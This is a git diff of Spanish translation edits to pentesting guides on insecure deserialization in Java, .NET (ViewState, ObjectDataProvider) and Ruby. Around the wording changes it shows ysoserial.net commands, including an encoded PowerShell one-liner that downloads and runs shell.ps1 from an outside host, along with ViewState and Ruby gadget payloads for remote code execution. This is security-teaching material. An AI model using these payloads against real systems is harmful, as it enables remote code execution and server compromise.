-Al crear un payload para **java.lang.Runtime.exec()** no **puedes usar caracteres especiales** como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente el payload, podrías [usar esta página web](http://www.jackson-t.ca/runtime-exec-payloads.html).
+Al crear una carga útil para **java.lang.Runtime.exec()** no **puedes usar caracteres especiales** como ">" o "|" para redirigir la salida de una ejecución, "$()" para ejecutar comandos o incluso **pasar argumentos** a un comando separados por **espacios** (puedes hacer `echo -n "hello world"` pero no puedes hacer `python2 -c 'print "Hello world"'`). Para codificar correctamente la carga útil, podrías [usar esta página web](http://www.jackson-t.ca/runtime-exec-payloads.html).
 
-Siéntete libre de usar el siguiente script para crear **todos los posibles payloads de ejecución de código** para Windows y Linux y luego probarlos en la página web vulnerable:
+Siéntete libre de usar el siguiente script para crear **todas las posibles cargas útiles de ejecución de código** para Windows y Linux y luego probarlas en la página web vulnerable:
 ```python
 import os
 import base64
@@ -494,14 +494,14 @@ Lee más sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/blo
 Java utiliza mucha serialización para varios propósitos como:
 
 - **Solicitudes HTTP**: La serialización se emplea ampliamente en la gestión de parámetros, ViewState, cookies, etc.
-- **RMI (Invocación de Métodos Remotos)**: El protocolo RMI de Java, que se basa completamente en la serialización, es un pilar para la comunicación remota en aplicaciones Java.
+- **RMI (Remote Method Invocation)**: El protocolo RMI de Java, que se basa completamente en la serialización, es un pilar para la comunicación remota en aplicaciones Java.
 - **RMI sobre HTTP**: Este método es comúnmente utilizado por aplicaciones web de cliente grueso basadas en Java, utilizando la serialización para todas las comunicaciones de objetos.
-- **JMX (Extensiones de Gestión de Java)**: JMX utiliza la serialización para transmitir objetos a través de la red.
-- **Protocolos Personalizados**: En Java, la práctica estándar implica la transmisión de objetos Java en bruto, lo que se demostrará en ejemplos de explotación próximos.
+- **JMX (Java Management Extensions)**: JMX utiliza la serialización para transmitir objetos a través de la red.
+- **Protocolos personalizados**: En Java, la práctica estándar implica la transmisión de objetos Java en bruto, lo que se demostrará en ejemplos de explotación próximos.
 
 ### Prevention
 
-#### Objetos transitorios
+#### Transient objects
 
 Una clase que implementa `Serializable` puede implementar como `transient` cualquier objeto dentro de la clase que no debería ser serializable. Por ejemplo:
 ```java
@@ -512,7 +512,7 @@ private transient double margin; // declared transient
 ```
 #### Evitar la serialización de una clase que necesita implementar Serializable
 
-En escenarios donde ciertos **objetos deben implementar la interfaz `Serializable`** debido a la jerarquía de clases, existe el riesgo de deserialización no intencionada. Para prevenir esto, asegúrate de que estos objetos no sean deserializables definiendo un método `readObject()` `final` que lance consistentemente una excepción, como se muestra a continuación:
+En escenarios donde ciertos **objetos deben implementar la interfaz `Serializable`** debido a la jerarquía de clases, existe el riesgo de deserialización no intencionada. Para prevenir esto, asegúrese de que estos objetos no sean deserializables definiendo un método `readObject()` `final` que lance consistentemente una excepción, como se muestra a continuación:
 ```java
 private final void readObject(ObjectInputStream in) throws java.io.IOException {
 throw new java.io.IOException("Cannot be deserialized");
@@ -546,7 +546,7 @@ return super.resolveClass(desc);
 }
 }
 ```
-**Uso de un agente Java para mejorar la seguridad** ofrece una solución alternativa cuando la modificación del código no es posible. Este método se aplica principalmente para **bloquear clases dañinas**, utilizando un parámetro de la JVM:
+**Uso de un Agente Java para Mejora de Seguridad** ofrece una solución alternativa cuando la modificación del código no es posible. Este método se aplica principalmente para **bloquear clases dañinas**, utilizando un parámetro de JVM:
 ```
 -javaagent:name-of-agent.jar
 ```
@@ -577,7 +577,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
 ### Referencias
 
 - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
-- Deserialización y charla de ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
+- Deserialization y charla de ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
 - [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
 - [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
 - Charla sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) y diapositivas: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
@@ -585,12 +585,11 @@ ObjectInputFilter.Config.setSerialFilter(filter);
 - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
 - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
 - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
-- Deserialización de Java y .Net **documento:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
-- CVEs de deserialización: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
+- Deserializaciones CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
 
 ## Inyección JNDI & log4Shell
 
-Encuentra qué es **la Inyección JNDI, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página:
+Encuentra qué es **JNDI Injection, cómo abusar de ella a través de RMI, CORBA y LDAP y cómo explotar log4shell** (y un ejemplo de esta vulnerabilidad) en la siguiente página:
 
 {{#ref}}
 jndi-java-naming-and-directory-interface-and-log4shell.md
@@ -598,7 +597,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
 
 ## JMS - Servicio de Mensajes de Java
 
-> La API de **Servicio de Mensajes de Java** (**JMS**) es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema del productor-consumidor. JMS es parte de la Plataforma Java, Edición Empresarial (Java EE), y fue definida por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicación basados en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea débilmente acoplada, confiable y asíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
+> La API de **Java Message Service** (**JMS**) es una API de middleware orientada a mensajes de Java para enviar mensajes entre dos o más clientes. Es una implementación para manejar el problema del productor-consumidor. JMS es parte de la Plataforma Java, Edición Empresarial (Java EE), y fue definida por una especificación desarrollada en Sun Microsystems, pero que desde entonces ha sido guiada por el Proceso de Comunidad Java. Es un estándar de mensajería que permite a los componentes de aplicación basados en Java EE crear, enviar, recibir y leer mensajes. Permite que la comunicación entre diferentes componentes de una aplicación distribuida sea débilmente acoplada, confiable y asíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
 
 ### Productos
 
@@ -656,9 +655,9 @@ Las principales opciones de **ysoserial.net** son: **`--gadget`**, **`--formatte
 
 #### Más parámetros de ysoserial.net
 
-- `--minify` proporcionará una **carga útil más pequeña** (si es posible)
-- `--raf -f Json.Net -c "anything"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso)
-- `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (sin distinción de mayúsculas y minúsculas)
+- `--minify` proporcionará una **carga útil más pequeña** (si es posible).
+- `--raf -f Json.Net -c "anything"` Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (`Json.Net` en este caso).
+- `--sf xml` puedes **indicar un gadget** (`-g`) y ysoserial.net buscará formateadores que contengan "xml" (sin distinción de mayúsculas y minúsculas).
 
 **Ejemplos de ysoserial** para crear exploits:
 ```bash
@@ -679,7 +678,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
 ```
 **ysoserial.net** también tiene un **parámetro muy interesante** que ayuda a entender mejor cómo funciona cada exploit: `--test`\
-Si indicas este parámetro, **ysoserial.net** **intentará** el **exploit localmente,** así que puedes probar si tu payload funcionará correctamente.\
+Si indicas este parámetro, **ysoserial.net** **intentar**á el **exploit localmente,** así puedes probar si tu payload funcionará correctamente.\
 Este parámetro es útil porque si revisas el código encontrarás fragmentos de código como el siguiente (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
 ```java
 if (inputArgs.Test)
@@ -728,14 +727,14 @@ Para mitigar los riesgos asociados con la deserialización en .Net:
 
 ### **Referencias**
 
-- Documento sobre deserialización JSON en Java y .Net:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- Documento sobre deserialización JSON en Java y .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** charla: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) y diapositivas: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
 - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
 - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
 - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
 
 ## **Ruby**
 
-En Ruby, la serialización se facilita mediante dos métodos dentro de la **biblioteca marshal**. El primer método, conocido como **dump**, se utiliza para transformar un objeto en un flujo de bytes. Este proceso se conoce como serialización. Por el contrario, el segundo método, **load**, se emplea para revertir un flujo de bytes de nuevo a un objeto, un proceso conocido como deserialización.
+En Ruby, la serialización se facilita mediante dos métodos dentro de la biblioteca **marshal**. El primer método, conocido como **dump**, se utiliza para transformar un objeto en un flujo de bytes. Este proceso se conoce como serialización. Por el contrario, el segundo método, **load**, se emplea para revertir un flujo de bytes de nuevo a un objeto, un proceso conocido como deserialización.
 
 Para asegurar objetos serializados, **Ruby emplea HMAC (Código de Autenticación de Mensajes Basado en Hash)**, asegurando la integridad y autenticidad de los datos. La clave utilizada para este propósito se almacena en una de varias ubicaciones posibles:
 
@@ -862,9 +861,9 @@ Consulte más información en la [página de contaminación _json de Ruby](ruby-
 
 Esta técnica fue tomada [**de esta publicación de blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
 
-Hay otras bibliotecas de Ruby que se pueden usar para serializar objetos y, por lo tanto, que podrían ser abusadas para obtener RCE durante una deserialización insegura. La siguiente tabla muestra algunas de estas bibliotecas y el método que llaman de la biblioteca cargada cada vez que se deserializan (función para abusar para obtener RCE básicamente):
+Hay otras bibliotecas de Ruby que se pueden usar para serializar objetos y, por lo tanto, que podrían ser abusadas para obtener RCE durante una deserialización insegura. La siguiente tabla muestra algunas de estas bibliotecas y el método que llaman de la biblioteca cargada cada vez que se deserializa (función para abusar para obtener RCE básicamente):
 
-<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteca</strong></td><td><strong>Datos de entrada</strong></td><td><strong>Método de inicio dentro de la clase</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binario</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la clase debe ser puesta en hash(map) como clave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la clase debe ser puesta en hash(map) como clave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la clase debe ser puesta en hash(map) como clave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([ver notas sobre json_create al final](#table-vulnerable-sinks))</td></tr></tbody></table>
+<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteca</strong></td><td><strong>Datos de entrada</strong></td><td><strong>Método de inicio dentro de la clase</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binario</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la clase debe ser puesta en hash(mapa) como clave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la clase debe ser puesta en hash(mapa) como clave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la clase debe ser puesta en hash(mapa) como clave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([ver notas sobre json_create al final](#table-vulnerable-sinks))</td></tr></tbody></table>
 
 Ejemplo básico:
 ```ruby
@@ -900,7 +899,7 @@ En el caso de intentar abusar de Oj, fue posible encontrar una clase gadget que
 "password": "anypw"
 }
 ```
-Además, se encontró que con la técnica anterior también se crea una carpeta en el sistema, que es un requisito para abusar de otro gadget con el fin de transformar esto en un RCE completo con algo como:
+Además, se descubrió que con la técnica anterior también se crea una carpeta en el sistema, que es un requisito para abusar de otro gadget con el fin de transformar esto en un RCE completo con algo como:
 ```json
 {
 "^o": "Gem::Resolver::SpecSpecification",
diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
index a1a583d8f..6c7f9f5dd 100644
--- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@@ -7,14 +7,14 @@ Esta publicación está dedicada a **entender cómo se explota el gadget ObjectD
 ## Gadget ObjectDataProvider
 
 De la documentación: _la clase ObjectDataProvider envuelve y crea un objeto que puedes usar como fuente de enlace_.\
-Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite **envolver un objeto arbitrario**, usar _**MethodParameters**_ para **establecer parámetros arbitrarios,** y luego **usar MethodName para llamar a una función arbitraria** del objeto arbitrario declarado usando los parámetros arbitrarios.\
+Sí, es una explicación extraña, así que veamos qué tiene de tan interesante esta clase: Esta clase permite **envolver un objeto arbitrario**, usar _**MethodParameters**_ para **establecer parámetros arbitrarios,** y luego **usar MethodName para llamar a una función arbitraria** del objeto arbitrario declarado usando los parámetros arbitrarios.\
 Por lo tanto, el **objeto** arbitrario **ejecutará** una **función** con **parámetros mientras se deserializa.**
 
 ### **Cómo es esto posible**
 
-El espacio de nombres **System.Windows.Data**, que se encuentra dentro de **PresentationFramework.dll** en `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, es donde se define e implementa el ObjectDataProvider.
+El **espacio de nombres System.Windows.Data**, que se encuentra dentro de **PresentationFramework.dll** en `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, es donde se define e implementa el ObjectDataProvider.
 
-Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) puedes **inspeccionar el código** de la clase que nos interesa. En la imagen a continuación estamos viendo el código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nombre del método**
+Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) puedes **inspeccionar el código** de la clase que nos interesa. En la imagen de abajo estamos viendo el código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nombre del método**
 
 ![](<../../images/image (427).png>)
 
@@ -26,11 +26,11 @@ Ok, continuemos viendo qué hace `this.BeginQuery()`. `BeginQuery` es sobreescri
 
 ![](<../../images/image (345).png>)
 
-Ten en cuenta que al final del código se llama a `this.QueryWorke(null)`. Veamos qué ejecuta eso:
+Nota que al final del código se llama a `this.QueryWorke(null)`. Veamos qué ejecuta eso:
 
 ![](<../../images/image (596).png>)
 
-Ten en cuenta que este no es el código completo de la función `QueryWorker`, pero muestra la parte interesante de ella: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**.
+Nota que este no es el código completo de la función `QueryWorker`, pero muestra la parte interesante de ella: El código **llama a `this.InvokeMethodOnInstance(out ex);`** esta es la línea donde se **invoca el método establecido**.
 
 Si quieres comprobar que solo estableciendo el _**MethodName**_\*\* se ejecutará\*\*, puedes ejecutar este código:
 ```java
diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
index 6d16a54cb..bdd9a28b7 100644
--- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
+++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
@@ -21,7 +21,7 @@ La información de ViewState se puede caracterizar por las siguientes propiedade
 
 La imagen es una tabla que detalla diferentes configuraciones para ViewState en ASP.NET según la versión del marco .NET. Aquí hay un resumen del contenido:
 
-1. Para **cualquier versión de .NET**, cuando tanto MAC como Encriptación están deshabilitados, no se requiere un MachineKey, y por lo tanto no hay un método aplicable para identificarlo.
+1. Para **cualquier versión de .NET**, cuando tanto MAC como la Encriptación están deshabilitados, no se requiere un MachineKey, y por lo tanto no hay un método aplicable para identificarlo.
 2. Para **versiones anteriores a 4.5**, si MAC está habilitado pero la Encriptación no, se requiere un MachineKey. El método para identificar el MachineKey se denomina "Blacklist3r."
 3. Para **versiones anteriores a 4.5**, independientemente de si MAC está habilitado o deshabilitado, si la Encriptación está habilitada, se necesita un MachineKey. Identificar el MachineKey es una tarea para "Blacklist3r - Desarrollo Futuro."
 4. Para **versiones 4.5 y superiores**, todas las combinaciones de MAC y Encriptación (ya sea que ambos sean true, o uno sea true y el otro false) requieren un MachineKey. El MachineKey se puede identificar utilizando "Blacklist3r."
@@ -41,8 +41,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
 ### Caso de prueba 1.5 – Como el Caso de prueba 1 pero la cookie ViewState no es enviada por el servidor
 
 Los desarrolladores pueden **eliminar ViewState** de convertirse en parte de una solicitud HTTP (el usuario no recibirá esta cookie).\
-Se puede suponer que si **ViewState** **no está presente**, su implementación es **segura** de cualquier vulnerabilidad potencial que surja con la deserialización de ViewState.\
-Sin embargo, ese no es el caso. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada con ysoserial, aún podremos lograr **ejecución de código** como se muestra en **Caso 1**.
+Se puede asumir que si **ViewState** **no está presente**, su implementación es **segura** de cualquier vulnerabilidad potencial que surja con la deserialización de ViewState.\
+Sin embargo, ese no es el caso. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada usando ysoserial, aún podremos lograr **ejecución de código** como se muestra en **Caso 1**.
 
 ### Caso de prueba: 2 – .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false
 
@@ -70,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
 --encrypteddata : __VIEWSTATE parameter value of the target application
 --modifier : __VIWESTATEGENERATOR parameter value
 ```
-[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarla.
+[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que, a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarla.
 
 Se puede proporcionar directamente con el viewstate y el generador:
 ```
@@ -112,13 +112,13 @@ En este caso no se sabe si el parámetro está protegido con MAC. Entonces, el v
 
 **En este caso, el** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **módulo está en desarrollo...**
 
-**Antes de .NET 4.5**, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin cifrar** de los usuarios **incluso** si **`ViewStateEncryptionMode`** se ha configurado en _**Siempre**_. ASP.NET **solo verifica** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil sin cifrar, aún será procesada.**
+**Antes de .NET 4.5**, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin cifrar** de los usuarios **incluso** si **`ViewStateEncryptionMode`** ha sido configurado a _**Siempre**_. ASP.NET **solo verifica** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil sin cifrar, aún será procesada.**
 
 Por lo tanto, si los atacantes encuentran una manera de obtener la clave de máquina a través de otra vulnerabilidad como la exploración de archivos, el comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2**, puede ser usado para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
 
 - Elimina el parámetro `__VIEWSTATEENCRYPTED` de la solicitud para explotar la vulnerabilidad de deserialización de ViewState, de lo contrario, devolverá un error de validación de MAC de ViewState y la explotación fallará.
 
-### Caso de prueba: 4 – .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto ambos atributos en falso
+### Caso de prueba: 4 – .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto ambos atributos a false
 
 Podemos forzar el uso del marco ASP.NET especificando el siguiente parámetro dentro del archivo web.config como se muestra a continuación.
 ```xml
@@ -155,11 +155,11 @@ Si tienes el valor de `__VIEWSTATEGENERATOR`, puedes intentar **usar** el parám
 
 ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
 
-Una explotación exitosa de la vulnerabilidad de deserialización de ViewState llevará a una solicitud fuera de banda a un servidor controlado por el atacante, que incluye el nombre de usuario. Este tipo de exploit se demuestra en una prueba de concepto (PoC) que se puede encontrar a través de un recurso titulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para más detalles sobre cómo funciona el proceso de explotación y cómo utilizar herramientas como Blacklist3r para identificar el MachineKey, puedes revisar la [PoC de Explotación Exitosa](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) proporcionada.
+Una explotación exitosa de la vulnerabilidad de deserialización de ViewState llevará a una solicitud fuera de banda a un servidor controlado por el atacante, que incluye el nombre de usuario. Este tipo de exploit se demuestra en una prueba de concepto (PoC) que se puede encontrar a través de un recurso titulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para más detalles sobre cómo funciona el proceso de explotación y cómo utilizar herramientas como Blacklist3r para identificar el MachineKey, puedes revisar la [PoC de Explotación Exitosa](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
 
 ### Caso de Prueba 6 – ViewStateUserKeys está siendo utilizado
 
-La propiedad **ViewStateUserKey** puede ser utilizada para **defenderse** contra un **ataque CSRF**. Si tal clave ha sido definida en la aplicación y tratamos de generar la carga útil de **ViewState** con los métodos discutidos hasta ahora, la **carga útil no será procesada por la aplicación**.\
+La propiedad **ViewStateUserKey** se puede usar para **defenderse** contra un **ataque CSRF**. Si tal clave ha sido definida en la aplicación y tratamos de generar la carga útil de **ViewState** con los métodos discutidos hasta ahora, la **carga útil no será procesada por la aplicación**.\
 Necesitas usar un parámetro más para crear correctamente la carga útil:
 ```bash
 --viewstateuserkey="randomstringdefinedintheserver"
diff --git a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
index 5dd6abed7..77a9233d2 100644
--- a/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
+++ b/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
@@ -28,7 +28,7 @@ int h;
 return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
 }
 ```
-Como puedes observar, **al deserializar** un **`HashMap`** la función `hash` se va a **ejecutar con cada objeto** y **durante** la **ejecución de** **`hash`** **se va a ejecutar** `.hashCode()` del objeto. Por lo tanto, si **deserializas** un **`HashMap`** **que contiene** un **objeto URL**, el **objeto URL** **ejecutará** `.hashCode()`.
+Como puedes observar, **al deserializar** un **`HashMap`** la función `hash` se va a **ejecutar con cada objeto** y **durante** la ejecución de **`hash`** **se va a ejecutar** `.hashCode()` del objeto. Por lo tanto, si **deserializas** un **`HashMap`** **que contiene** un **objeto URL**, el **objeto URL** **ejecutará** `.hashCode()`.
 
 Ahora, echemos un vistazo al código de `URLObject.hashCode()`:
 ```java
@@ -135,7 +135,7 @@ Puedes descargar [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) des
 
 ### ¿Cómo funciona?
 
-**GadgetProbe** utilizará la misma **carga útil DNS de la sección anterior** pero **antes** de ejecutar la consulta DNS, **intentarà deserializar una clase arbitraria**. Si la **clase arbitraria existe**, la **consulta DNS** será **enviada** y GadgetProbe anotará que esta clase existe. Si la **solicitud DNS** **nunca se envía**, esto significa que la **clase arbitraria no fue deserializada** con éxito, por lo que o no está presente o **no es serializable/explotable**.
+**GadgetProbe** utilizará la misma **carga útil DNS de la sección anterior** pero **antes** de ejecutar la consulta DNS, **intentar** deserializar una **clase arbitraria**. Si la **clase arbitraria existe**, la **consulta DNS** será **enviada** y GadgetProbe anotará que esta clase existe. Si la **solicitud DNS** **nunca se envía**, esto significa que la **clase arbitraria no fue deserializada** con éxito, por lo que o no está presente o **no es serializable/explotable**.
 
 Dentro de GitHub, [**GadgetProbe tiene algunas listas de palabras**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) con clases de Java para ser probadas.
 
@@ -161,7 +161,7 @@ Por defecto, **verifica pasivamente** todas las solicitudes y respuestas enviada
 **Pruebas Manuales**
 
 Puedes seleccionar una solicitud, hacer clic derecho y `Enviar solicitud a DS - Pruebas Manuales`.\
-Luego, dentro de la pestaña _Escáner de Deserialización_ --> _pestaña de Pruebas Manuales_ puedes seleccionar el **punto de inserción**. Y **lanzar la prueba** (Selecciona el ataque apropiado dependiendo de la codificación utilizada).
+Luego, dentro de la _Pestaña del Escáner de Deserialización_ --> _pestaña de pruebas manuales_ puedes seleccionar el **punto de inserción**. Y **lanzar la prueba** (Selecciona el ataque apropiado dependiendo de la codificación utilizada).
 
 ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png)
 
@@ -170,7 +170,7 @@ Incluso si esto se llama "Pruebas Manuales", es bastante **automatizado**. Verif
 **Explotación**
 
 Una vez que hayas identificado una biblioteca vulnerable, puedes enviar la solicitud a la _Pestaña de Explotación_.\
